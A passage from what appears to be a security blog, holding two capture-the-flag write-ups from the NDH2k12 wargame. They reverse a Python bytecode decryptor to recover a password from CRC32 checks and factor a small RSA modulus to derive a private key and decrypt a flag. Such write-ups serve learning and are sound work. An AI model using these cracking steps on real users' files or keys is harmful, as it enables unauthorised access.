>>> dis.dis(zomb_crypt.decrypt)
52 0 SETUP_EXCEPT 190 (to 193)

53 3 LOAD_GLOBAL 0 (open)
6 LOAD_FAST 0 (filename_in)
9 LOAD_CONST 1 ('rb')
12 CALL_FUNCTION 2
15 LOAD_ATTR 1 (read)
18 CALL_FUNCTION 0
21 STORE_FAST 3 (content)

read file content to content variable

54 24 LOAD_GLOBAL 2 (len)
27 LOAD_FAST 3 (content)
30 CALL_FUNCTION 1
33 LOAD_CONST 2 (16)
36 COMPARE_OP 0 (<) 39 JUMP_IF_FALSE 5 (to 47) 42 POP_TOP goodbye if len(content) < 16 55 43 LOAD_GLOBAL 3 (False) 46 RETURN_VALUE >> 47 POP_TOP

56 48 LOAD_FAST 3 (content)
51 LOAD_CONST 2 (16)
54 SLICE+2
55 STORE_FAST 4 (_hash)

First 16 bytes of file is a hash, store it in _hash

57 58 LOAD_GLOBAL 4 (hash)
61 LOAD_FAST 2 (password)
64 CALL_FUNCTION 1

hash password entered by user on command-line

67 LOAD_FAST 4 (_hash)
70 COMPARE_OP 3 (!=)
73 JUMP_IF_FALSE 13 (to 89)

if hash(user password) != stored _hash, goodbye. And we don't care about the rest of the disassembly because we know we must have a password that match the file stored hash.

Which kind of hash ?

>>> dis.dis(zomb_crypt.hash)
26 0 LOAD_CONST 1 ('ahky')
3 STORE_FAST 1 (a)

27 6 LOAD_CONST 2 ('12bqb')
9 STORE_FAST 2 (b)

28 12 LOAD_GLOBAL 0 (__import__)
15 LOAD_GLOBAL 1 (decode)
18 LOAD_FAST 1 (a)
21 CALL_FUNCTION 1
24 CALL_FUNCTION 1
27 STORE_FAST 3 (x)

29 30 LOAD_GLOBAL 2 (getattr)
33 LOAD_FAST 3 (x)
36 LOAD_GLOBAL 1 (decode)
39 LOAD_FAST 2 (b)
42 CALL_FUNCTION 1
45 CALL_FUNCTION 2
48 STORE_FAST 4 (y)

Obfuscated import and method name. What does decode do ? We don't care.

>>> zomb_crypt.decode('ahky')
'zlib'
>>> zomb_crypt.decode('12bqb')
'crc32'

so x = zlib, y = crc32

Nice. CRC32 is easy to bruteforce.

32 >> 83 LOAD_FAST 0 (s)
86 LOAD_CONST 4 ('_')
89 LOAD_CONST 3 (8)
92 LOAD_GLOBAL 3 (len)
95 LOAD_FAST 0 (s)
98 CALL_FUNCTION 1
101 BINARY_SUBTRACT
102 BINARY_MULTIPLY
103 BINARY_ADD
104 STORE_FAST 0 (s)

Pad password to length of 8 with '_' (toto -> toto____)

33 107 LOAD_FAST 0 (s)
110 LOAD_CONST 5 (0)
113 LOAD_CONST 6 (4)
116 SLICE+3
117 LOAD_FAST 0 (s)
120 LOAD_CONST 6 (4)
123 LOAD_CONST 3 (8)
126 SLICE+3
127 ROT_TWO
128 STORE_FAST 1 (a)
131 STORE_FAST 2 (b)

a = password[0:4]
b = password[4:8]

34 134 LOAD_CONST 7 ('%08X%08X')
137 LOAD_FAST 4 (y)
140 LOAD_FAST 1 (a)
143 CALL_FUNCTION 1
146 LOAD_CONST 8 (4294967295L)
149 BINARY_AND
150 LOAD_FAST 4 (y)
153 LOAD_FAST 2 (b)
156 CALL_FUNCTION 1
159 LOAD_CONST 8 (4294967295L)
162 BINARY_AND

Convert to a and b to CRC32

>>> import zlib
>>> zlib.crc32("toto")
281847025

$ hexdump -C crypto-1.jpg | head -1
00000000 31 44 34 34 38 31 45 31 41 32 32 43 38 43 33 42 |1D4481E1A22C8C3B|

a = 1D4481E1
b = A22C8C3B

We need to find a CRC32 value that match a and b. Using the best hash cracker: Google

http://rulus.com/tool/hash/His4
http://rulus.com/tool/hash/n00b

password is His4n00b

$ python zomb_crypt.pyc d crypto-1.jpg His4n00b
[i] Decrypting crypto-1.jpg ...
[i] OK

Share
Tagged as: , Comments Off
2Jul/12Off

NDH2k12 Public Wargame – RSA Writeup

Posted by aXs

Simple RSA:

$ cat john.pub
----- BEGIN PUBLIC KEY -----
KG4gPSAxNTQ5Mzg4MzAyOTk5NTE5LCBlID0gMTAxKQ==
-----  END PUBLIC KEY  -----
francois@squeeze:~/ndh2012/public/rsa$ echo -n "KG4gPSAxNTQ5Mzg4MzAyOTk5NTE5LCBlID0gMTAxKQ==" | base64 -d
(n = 1549388302999519, e = 101)

e = 101
n = 1549388302999519

Factorize n -> n = p * q -> 1549388302999519 = 31834349 * 48670331

$ python
>>> import librsa
>>> e = 101
>>> p = 31834349
>>> q = 48670331
>>> d = librsa.genPrivKey(e, p, q)
+ + +
>>> d
1165876286233741L

$ cat john.key
----- BEGIN PRIVATE KEY -----
KG4gPSAxNTQ5Mzg4MzAyOTk5NTE5LCBkID0gMTE2NTg3NjI4NjIzMzc0MSkK
-----  END PRIVATE KEY  -----
$ echo -n "KG4gPSAxNTQ5Mzg4MzAyOTk5NTE5LCBkID0gMTE2NTg3NjI4NjIzMzc0MSkK" | base64 -d
(n = 1549388302999519, d = 1165876286233741)

$ python decrypt.py john.key flag.asc
francois@squeeze:~/ndh2012/public/rsa$ cat flag
   _________
 _|      ___|_
|  ___  |   | |   HZV
| |___| |___| |
|_           _|   challenge by benjamin
  |  _   _  |
  |_| |_| |_|     c9132f892055ea81fd91a9ed0e54a859
Share
Tagged as: Comments Off
Page 1 of 212